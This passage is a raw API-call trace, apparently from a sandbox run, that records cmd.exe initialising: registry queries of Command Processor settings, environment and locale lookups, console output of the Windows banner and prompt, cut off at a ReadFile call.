__alignment2=0x0)) returned 0x30 [0159.605] VirtualQuery (in: lpAddress=0x35b3100000, lpBuffer=0x35b31ff660, dwLength=0x30 | out: lpBuffer=0x35b31ff660*(BaseAddress=0x35b3100000, AllocationBase=0x35b3100000, AllocationProtect=0x4, __alignment1=0xffffe50e, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0159.605] VirtualQuery (in: lpAddress=0x35b3101000, lpBuffer=0x35b31ff660, dwLength=0x30 | out: lpBuffer=0x35b31ff660*(BaseAddress=0x35b3101000, AllocationBase=0x35b3100000, AllocationProtect=0x4, __alignment1=0xffffe50e, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0159.605] VirtualQuery (in: lpAddress=0x35b3104000, lpBuffer=0x35b31ff660, dwLength=0x30 | out: lpBuffer=0x35b31ff660*(BaseAddress=0x35b3104000, AllocationBase=0x35b3100000, AllocationProtect=0x4, __alignment1=0xffffe50e, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0159.605] VirtualQuery (in: lpAddress=0x35b3200000, lpBuffer=0x35b31ff660, dwLength=0x30 | out: lpBuffer=0x35b31ff660*(BaseAddress=0x35b3200000, AllocationBase=0x35b3200000, AllocationProtect=0x4, __alignment1=0xffffe50e, RegionSize=0x11e000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0159.605] GetConsoleOutputCP () returned 0x1b5 [0160.003] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75153fbb0 | out: lpCPInfo=0x7ff75153fbb0) returned 1 [0160.008] SetConsoleCtrlHandler (HandlerRoutine=0x7ff751528150, Add=1) returned 1 [0160.008] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.008] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff75153fc04 | out: lpMode=0x7ff75153fc04) returned 0 [0160.008] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.008] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff75153fc00 | out: lpMode=0x7ff75153fc00) returned 0 [0160.008] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.008] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0160.008] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.008] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff75153fc08 | out: lpMode=0x7ff75153fc08) returned 0 [0160.008] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.008] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff75153fc0c | out: lpMode=0x7ff75153fc0c) returned 0 [0160.008] GetEnvironmentStringsW () returned 0x16fa0dc5a40* [0160.008] GetProcessHeap () returned 0x16fa0dc0000 [0160.008] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xab6) returned 0x16fa0dc6500 [0160.008] FreeEnvironmentStringsA (penv="=") returned 1 [0160.008] GetProcessHeap () returned 0x16fa0dc0000 [0160.008] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x8) returned 0x16fa0dc5a40 [0160.008] GetEnvironmentStringsW () returned 0x16fa0dc6fd0* [0160.009] GetProcessHeap () returned 0x16fa0dc0000 [0160.009] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xab6) returned 0x16fa0dc7a90 [0160.009] FreeEnvironmentStringsA (penv="=") returned 1 [0160.009] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x35b31fe5a8 | out: phkResult=0x35b31fe5a8*=0x7c) returned 0x0 [0160.009] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x0, lpData=0x35b31fe5c0*=0x4, lpcbData=0x35b31fe5a4*=0x1000) returned 0x2 [0160.009] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x4, lpData=0x35b31fe5c0*=0x1, lpcbData=0x35b31fe5a4*=0x4) returned 0x0 [0160.009] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x0, lpData=0x35b31fe5c0*=0x1, lpcbData=0x35b31fe5a4*=0x1000) returned 0x2 [0160.009] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x4, lpData=0x35b31fe5c0*=0x0, lpcbData=0x35b31fe5a4*=0x4) returned 0x0 [0160.009] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x4, lpData=0x35b31fe5c0*=0x40, lpcbData=0x35b31fe5a4*=0x4) returned 0x0 [0160.009] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x4, lpData=0x35b31fe5c0*=0x40, lpcbData=0x35b31fe5a4*=0x4) returned 0x0 [0160.010] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x0, lpData=0x35b31fe5c0*=0x40, lpcbData=0x35b31fe5a4*=0x1000) returned 0x2 [0160.010] RegCloseKey (hKey=0x7c) returned 0x0 [0160.010] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x35b31fe5a8 | out: phkResult=0x35b31fe5a8*=0x7c) returned 0x0 [0160.010] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x0, lpData=0x35b31fe5c0*=0x40, lpcbData=0x35b31fe5a4*=0x1000) returned 0x2 [0160.010] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x4, lpData=0x35b31fe5c0*=0x1, lpcbData=0x35b31fe5a4*=0x4) returned 0x0 [0160.010] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x0, lpData=0x35b31fe5c0*=0x1, lpcbData=0x35b31fe5a4*=0x1000) returned 0x2 [0160.010] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x4, lpData=0x35b31fe5c0*=0x0, lpcbData=0x35b31fe5a4*=0x4) returned 0x0 [0160.010] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x4, lpData=0x35b31fe5c0*=0x9, lpcbData=0x35b31fe5a4*=0x4) returned 0x0 [0160.010] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x4, lpData=0x35b31fe5c0*=0x9, lpcbData=0x35b31fe5a4*=0x4) returned 0x0 [0160.010] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x35b31fe5a0, lpData=0x35b31fe5c0, lpcbData=0x35b31fe5a4*=0x1000 | out: lpType=0x35b31fe5a0*=0x0, lpData=0x35b31fe5c0*=0x9, lpcbData=0x35b31fe5a4*=0x1000) returned 0x2 [0160.010] RegCloseKey (hKey=0x7c) returned 0x0 [0160.010] time (in: timer=0x0 | out: timer=0x0) returned 0x5e449b6b [0160.010] srand (_Seed=0x5e449b6b) [0160.010] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0160.010] malloc (_Size=0x4000) returned 0x16fa0ff5530 [0160.011] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0160.011] malloc (_Size=0xffce) returned 0x16fa0ec0080 [0160.011] ??_V@YAXPEAX@Z () returned 0x16fa0ec0080 [0160.012] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x16fa0ec0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0160.012] malloc (_Size=0xffce) returned 0x16fa0ed0060 [0160.012] ??_V@YAXPEAX@Z () returned 0x16fa0ed0060 [0160.013] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x16fa0ed0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0160.013] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0160.013] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0160.013] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0160.013] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0160.013] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0160.013] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0160.013] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0160.013] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0160.013] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0160.013] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0160.013] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0160.014] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0160.014] GetProcessHeap () returned 0x16fa0dc0000 [0160.014] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc6500) returned 1 [0160.014] GetEnvironmentStringsW () returned 0x16fa0dc5a60* [0160.014] GetProcessHeap () returned 0x16fa0dc0000 [0160.014] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xace) returned 0x16fa0dc6540 [0160.014] FreeEnvironmentStringsA (penv="=") returned 1 [0160.014] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0160.014] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0160.014] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0160.014] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0160.014] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0160.014] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0160.014] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0160.014] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0160.014] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0160.014] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0160.014] malloc (_Size=0xffce) returned 0x16fa0ee0040 [0160.014] ??_V@YAXPEAX@Z () returned 0x16fa0ee0040 [0160.015] GetProcessHeap () returned 0x16fa0dc0000 [0160.015] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x38) returned 0x16fa0dc8580 [0160.015] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x16fa0ee0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0160.015] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x16fa0ee0040, lpFilePart=0x35b31ff120 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x35b31ff120*="system32") returned 0x13 [0160.016] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0160.016] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x35b31fee50 | out: lpFindFileData=0x35b31fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x16fa0dc85c0 [0160.016] FindClose (in: hFindFile=0x16fa0dc85c0 | out: hFindFile=0x16fa0dc85c0) returned 1 [0160.016] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x35b31fee50 | out: lpFindFileData=0x35b31fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x362b01bb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362b01bb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x16fa0dc85c0 [0160.016] FindClose (in: hFindFile=0x16fa0dc85c0 | out: hFindFile=0x16fa0dc85c0) returned 1 [0160.016] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0160.016] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0160.016] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0160.016] GetProcessHeap () returned 0x16fa0dc0000 [0160.016] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc6540) returned 1 [0160.016] GetEnvironmentStringsW () returned 0x16fa0dc5a60* [0160.017] GetProcessHeap () returned 0x16fa0dc0000 [0160.017] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xafe) returned 0x16fa0dc6570 [0160.017] FreeEnvironmentStringsA (penv="=") returned 1 [0160.017] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x16fa0ec0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0160.017] GetProcessHeap () returned 0x16fa0dc0000 [0160.017] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc8580) returned 1 [0160.017] ??_V@YAXPEAX@Z () returned 0x1 [0160.017] ??_V@YAXPEAX@Z () returned 0x1 [0160.017] GetProcessHeap () returned 0x16fa0dc0000 [0160.017] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x4016) returned 0x16fa0dc8580 [0160.017] GetProcessHeap () returned 0x16fa0dc0000 [0160.017] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc8580) returned 1 [0160.017] GetConsoleOutputCP () returned 0x1b5 [0160.824] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75153fbb0 | out: lpCPInfo=0x7ff75153fbb0) returned 1 [0160.824] GetUserDefaultLCID () returned 0x409 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff75153bb78, cchData=8 | out: lpLCData=":") returned 2 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x35b31ff4e0, cchData=128 | out: lpLCData="0") returned 2 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x35b31ff4e0, cchData=128 | out: lpLCData="0") returned 2 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x35b31ff4e0, cchData=128 | out: lpLCData="1") returned 2 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff75153bb68, cchData=8 | out: lpLCData="/") returned 2 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff75153bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff75153bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff75153ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff75153ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff75153ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff75153b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff75153b980, cchData=32 | out: lpLCData="Sun") returned 4 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff75153bb58, cchData=8 | out: lpLCData=".") returned 2 [0160.825] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff75153bb40, cchData=8 | out: lpLCData=",") returned 2 [0160.825] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0160.827] GetProcessHeap () returned 0x16fa0dc0000 [0160.827] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, Size=0x20c) returned 0x16fa0dc70f0 [0160.827] GetConsoleTitleW (in: lpConsoleTitle=0x16fa0dc70f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0161.745] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.745] GetFileType (hFile=0x254) returned 0x3 [0161.761] ApiSetQueryApiSetPresence () returned 0x0 [0161.761] ResolveDelayLoadedAPI () returned 0x7ff85ebbd990 [0161.800] BrandingFormatString () returned 0x16fa0dc75e0 [0161.842] GetVersion () returned 0x3ad7000a [0161.842] _vsnwprintf (in: _Buffer=0x35b31ff640, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x35b31ff5d8 | out: _Buffer="10.0.15063") returned 10 [0161.842] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.842] GetFileType (hFile=0x254) returned 0x3 [0161.842] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff751547f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0161.843] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff751547f60, nSize=0x2000, Arguments=0x35b31ff5e0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0161.843] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0161.843] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x35b31ff538, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff538*=0x26, lpOverlapped=0x0) returned 1 [0161.843] _vsnwprintf (in: _Buffer=0x7ff751547f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x35b31ff608 | out: _Buffer="\r\n") returned 2 [0161.843] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.843] GetFileType (hFile=0x254) returned 0x3 [0161.843] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0161.843] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x35b31ff5d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff5d8*=0x2, lpOverlapped=0x0) returned 1 [0161.843] _vsnwprintf (in: _Buffer=0x7ff751547f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x35b31ff608 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0161.844] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.844] GetFileType (hFile=0x254) returned 0x3 [0161.844] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0161.844] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x35b31ff5d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff5d8*=0x34, lpOverlapped=0x0) returned 1 [0161.844] _vsnwprintf (in: _Buffer=0x7ff751547f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x35b31ff608 | out: _Buffer="\r\n") returned 2 [0161.844] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.844] GetFileType (hFile=0x254) returned 0x3 [0161.844] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0161.844] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x35b31ff5d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff5d8*=0x2, lpOverlapped=0x0) returned 1 [0161.845] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff868d00000 [0161.845] GetProcAddress (hModule=0x7ff868d00000, lpProcName="CopyFileExW") returned 0x7ff868d1e830 [0161.845] GetProcAddress (hModule=0x7ff868d00000, lpProcName="IsDebuggerPresent") returned 0x7ff868d1e300 [0161.845] GetProcAddress (hModule=0x7ff868d00000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff866880a40 [0161.845] ??_V@YAXPEAX@Z () returned 0x1 [0161.845] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.845] GetFileType (hFile=0x248) returned 0x3 [0161.845] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0161.846] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x35b31ff448 | out: TokenHandle=0x35b31ff448*=0x0) returned 0xc000007c [0161.846] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x35b31ff448 | out: TokenHandle=0x35b31ff448*=0x98) returned 0x0 [0161.846] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0x35b31ff3f8, TokenInformationLength=0x4, ReturnLength=0x35b31ff400 | out: TokenInformation=0x35b31ff3f8, ReturnLength=0x35b31ff400) returned 0x0 [0161.847] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0x35b31ff400, TokenInformationLength=0x4, ReturnLength=0x35b31ff3f8 | out: TokenInformation=0x35b31ff400, ReturnLength=0x35b31ff3f8) returned 0x0 [0161.847] NtClose (Handle=0x98) returned 0x0 [0161.849] _vsnwprintf (in: _Buffer=0x7ff751547f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x35b31ff288 | out: _Buffer="\r\n") returned 2 [0161.849] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.849] GetFileType (hFile=0x254) returned 0x3 [0161.849] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.849] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0161.849] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x35b31ff258, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff258*=0x2, lpOverlapped=0x0) returned 1 [0161.849] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0161.849] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x16fa0ec0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0161.849] malloc (_Size=0x107ce) returned 0x16fa0ed0060 [0161.850] _vsnwprintf (in: _Buffer=0x16fa0ed0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x35b31ff298 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0161.850] _vsnwprintf (in: _Buffer=0x16fa0ed0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x35b31ff298 | out: _Buffer=">") returned 1 [0161.850] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.850] GetFileType (hFile=0x254) returned 0x3 [0161.850] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0161.850] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x35b31ff288, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff288*=0x14, lpOverlapped=0x0) returned 1 [0161.851] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.851] GetFileType (hFile=0x248) returned 0x3 [0161.851] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.851] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.851] ReadFile 